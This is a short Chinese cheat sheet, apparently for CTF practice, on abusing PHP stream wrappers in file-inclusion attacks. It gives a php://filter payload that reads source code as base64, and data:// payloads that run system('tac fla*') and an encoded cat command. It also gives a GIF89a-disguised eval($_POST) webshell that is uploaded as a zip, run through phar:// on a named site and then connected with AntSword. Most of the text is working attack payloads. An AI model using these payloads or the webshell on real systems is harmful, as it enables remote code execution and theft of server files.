常见的php伪协议:
1)file:// 访问本地文件系统
2)http:// 访问HTTP(S)网址
3)ftp:// 访问FTP(S)URL
4)php:// 访问各个输出输入流
5)zlib:// 处理压缩流
6)data:// 读取数据
7)glob:// 查找匹配的文件路径模式
8)phar:// PHP归档
9)rar:// RAR数据压缩
{tabs}
{tabs-pane label="php"}
(1)以base64编码的字符串返回:
?file=php://filter/convert.base64-encode/resource=flag.php
filter:过滤
convert.base64-encode:base64编码
resource=路径:读取文件并将其内容进行base64编码。
{/tabs-pane}
{tabs-pane label="data"}
(1)数据URI的URL查询字符串。
?text=data://text/plain,welcome to the zjctf
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== #base64加密
?c=data://text/plain,<?=system("tac fla*")?>
text/plain 表示数据的媒体类型为纯文本。
data:// 表示数据URI方案。
welcome to the zjctf 是传入的值。
{/tabs-pane}
{tabs-pane label="phar"}
先写一个木马:
GIF89a
<?php
eval($_POST['ym']);
?>
保存为 shell.php
,再压缩为 zip
格式的。进行上传
最后里利用 phar://
伪协议
例如:上传后给出的文件路径为 /var/www/html\/17a5f13214d05eaa826f3a203064575a.zip
这个,那我们的网站就是 https://123123.men/?yunmeng=phar://17a5f13214d05eaa826f3a203064575a.zip/tupian&ym=phpinfo();
蚁剑连接网站: https://123123.men/?yunmeng=phar://17a5f13214d05eaa826f3a203064575a.zip/tupian
{/tabs-pane}
{/tabs}